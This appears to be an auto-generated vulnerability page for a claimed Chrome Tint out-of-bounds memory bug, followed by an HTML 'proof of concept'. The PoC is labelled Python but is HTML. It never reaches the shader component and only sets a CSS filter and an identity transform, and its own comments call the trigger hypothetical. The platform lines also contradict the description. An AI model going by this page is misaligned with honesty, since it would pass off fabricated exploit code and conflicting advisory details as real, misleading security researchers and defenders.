Inappropriate implementation in Tint in Google Chrome prior to 147.0.7727.138 allowed a remote attacker to perform out of bounds memory access via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 147.0.7727.138
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2026-7346: Google Chrome Tint OOB Access
Description: This HTML page attempts to trigger the out-of-bounds memory access in the Tint component.
Usage: Open in a vulnerable version of Chrome (< 147.0.7727.138).
-->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-7346 PoC</title>
<style>
/* CSS to trigger Tint rendering path if applicable */
.vulnerable-target {
filter: contrast(200%);
}
</style>
</head>
<body>
<h1>CVE-2026-7346 Proof of Concept</h1>
<div id="crash_div" class="vulnerable-target"></div>
<script>
// Logic to interact with the vulnerable component
// Note: Specific implementation details depend on the internal Tint API flaw.
console.log("Attempting to trigger Tint OOB...");
try {
// Hypothetical trigger
var element = document.getElementById('crash_div');
// Manipulation to reach the vulnerability state
element.style.transform = 'matrix3d(1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1)';
} catch (e) {
console.log("Exception caught: " + e.message);
}
</script>
</body>
</html>